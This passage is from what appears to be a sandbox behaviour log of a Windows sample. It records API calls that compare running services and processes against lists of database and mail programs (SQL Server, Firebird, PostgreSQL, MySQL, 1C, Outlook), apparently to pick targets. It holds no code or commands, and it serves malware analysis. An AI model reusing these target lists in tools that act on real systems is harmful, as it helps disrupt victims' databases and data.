(lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0077.698] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0077.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0077.698] lstrlenW (lpString="MpsSvc") returned 6 [0077.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0077.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0077.698] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0077.698] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0077.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0077.698] lstrlenW (lpString="Netman") returned 6 [0077.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0077.698] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0077.698] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0077.698] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0077.698] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0077.698] lstrlenW (lpString="netprofm") returned 8 [0077.698] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0077.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0077.699] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0077.699] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0077.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0077.699] lstrlenW (lpString="NlaSvc") returned 6 [0077.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0077.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0077.699] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0077.699] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0077.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0077.699] lstrlenW (lpString="nsi") returned 3 [0077.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0077.699] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0077.699] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0077.699] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0077.699] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0077.699] lstrlenW (lpString="PcaSvc") returned 6 [0077.699] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0077.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0077.700] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0077.700] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0077.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0077.700] lstrlenW (lpString="PlugPlay") returned 8 [0077.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0077.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0077.700] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0077.700] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0077.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0077.700] lstrlenW (lpString="Power") returned 5 [0077.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0077.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0077.700] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0077.700] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0077.700] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0077.700] lstrlenW (lpString="ProfSvc") returned 7 [0077.700] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0077.700] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0077.701] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0077.701] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0077.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0077.701] lstrlenW (lpString="RpcEptMapper") returned 12 [0077.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0077.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0077.701] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0077.701] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0077.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0077.701] lstrlenW (lpString="RpcSs") returned 5 [0077.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0077.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0077.701] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0077.701] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0077.701] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0077.701] lstrlenW (lpString="SamSs") returned 5 [0077.701] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0077.701] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0077.701] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0077.702] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0077.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0077.702] lstrlenW (lpString="Schedule") returned 8 [0077.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0077.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0077.702] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0077.702] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0077.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0077.702] lstrlenW (lpString="SENS") returned 4 [0077.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0077.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0077.702] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0077.702] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0077.702] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0077.702] lstrlenW (lpString="ShellHWDetection") returned 16 [0077.702] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0077.702] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0077.702] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0077.703] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0077.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0077.703] lstrlenW (lpString="Spooler") returned 7 [0077.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0077.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0077.703] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0077.703] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0077.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0077.703] lstrlenW (lpString="SysMain") returned 7 [0077.703] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0077.703] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0077.703] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0077.703] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0077.703] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0077.704] lstrlenW (lpString="Themes") returned 6 [0077.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0077.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0077.704] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0077.704] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0077.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0077.704] lstrlenW (lpString="TrkWks") returned 6 [0077.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0077.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0077.704] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0077.704] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0077.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0077.704] lstrlenW (lpString="UxSms") returned 5 [0077.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0077.704] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0077.704] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0077.704] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0077.704] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0077.704] lstrlenW (lpString="WdiServiceHost") returned 14 [0077.704] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0077.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0077.705] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0077.705] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0077.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0077.705] lstrlenW (lpString="WdiSystemHost") returned 13 [0077.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0077.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0077.705] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0077.705] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0077.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0077.705] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0077.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0077.705] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0077.705] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0077.705] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0077.705] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0077.705] lstrlenW (lpString="Winmgmt") returned 7 [0077.705] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0077.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0077.706] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0077.706] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0077.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0077.706] lstrlenW (lpString="WPDBusEnum") returned 10 [0077.706] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0077.706] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0077.706] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0077.706] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0077.706] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0077.706] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3ee1068 | out: hHeap=0x5d0000) returned 1 [0077.706] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d0 [0077.714] Process32FirstW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0077.715] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0077.716] lstrlenW (lpString="System") returned 6 [0077.716] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0077.716] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0077.716] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0077.716] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0077.716] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0077.716] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0077.716] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0077.716] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0077.717] lstrlenW (lpString="smss.exe") returned 8 [0077.718] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0077.718] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0077.718] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0077.718] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0077.718] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0077.718] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0077.718] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0077.718] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0077.719] lstrlenW (lpString="csrss.exe") returned 9 [0077.719] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0077.719] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0077.719] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0077.719] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0077.720] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0077.720] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0077.720] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0077.720] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0077.721] lstrlenW (lpString="wininit.exe") returned 11 [0077.721] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0077.721] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0077.721] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0077.721] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0077.721] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0077.721] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0077.721] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0077.721] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0077.893] lstrlenW (lpString="csrss.exe") returned 9 [0077.893] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0077.893] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0077.893] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0077.893] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0077.893] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0077.893] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0077.893] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0077.894] lstrlenW (lpString="winlogon.exe") returned 12 [0077.894] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0077.896] lstrlenW (lpString="services.exe") returned 12 [0077.896] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0077.897] lstrlenW (lpString="lsass.exe") returned 9 [0077.897] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0077.898] lstrlenW (lpString="lsm.exe") returned 7 [0077.898] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.899] lstrlenW (lpString="svchost.exe") returned 11 [0077.899] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.901] lstrlenW (lpString="svchost.exe") returned 11 [0077.901] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.902] lstrlenW (lpString="svchost.exe") returned 11 [0077.902] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.903] lstrlenW (lpString="svchost.exe") returned 11 [0077.903] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2f, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.905] lstrlenW (lpString="svchost.exe") returned 11 [0077.905] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0077.906] lstrlenW (lpString="audiodg.exe") returned 11 [0077.906] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.907] lstrlenW (lpString="svchost.exe") returned 11 [0077.907] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x11c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.908] lstrlenW (lpString="svchost.exe") returned 11 [0077.908] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0077.909] lstrlenW (lpString="dwm.exe") returned 7 [0077.909] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x43c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0077.910] lstrlenW (lpString="explorer.exe") returned 12 [0077.910] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0077.912] lstrlenW (lpString="spoolsv.exe") returned 11 [0077.912] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0077.913] lstrlenW (lpString="svchost.exe") returned 11 [0077.913] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0077.914] lstrlenW (lpString="taskhost.exe") returned 12 [0077.914] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0077.915] lstrlenW (lpString="taskeng.exe") returned 11 [0077.915] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="developingthousands.exe")) returned 1 [0077.916] lstrlenW (lpString="developingthousands.exe") returned 23 [0077.916] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="efattack.exe")) returned 1 [0077.917] lstrlenW (lpString="efattack.exe") returned 12 [0077.918] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="feedback.exe")) returned 1 [0077.919] lstrlenW (lpString="feedback.exe") returned 12 [0077.919] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x76c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="happy blond engage.exe")) returned 1 [0077.920] lstrlenW (lpString="happy blond engage.exe") returned 22 [0077.920] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="controller_type.exe")) returned 1 [0077.922] lstrlenW (lpString="controller_type.exe") returned 19 [0077.922] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x53c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="donations_berry.exe")) returned 1 [0077.923] lstrlenW (lpString="donations_berry.exe") returned 19 [0077.923] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="lindsay.exe")) returned 1 [0077.924] lstrlenW (lpString="lindsay.exe") returned 11 [0077.924] Process32NextW (in: hSnapshot=0x1d0, lppe=0x212fd34 | out: lppe=0x212fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x454, pcPriClassBase=8, dwFlags=0x0, szExeFile="columnists.exe")) returned 1 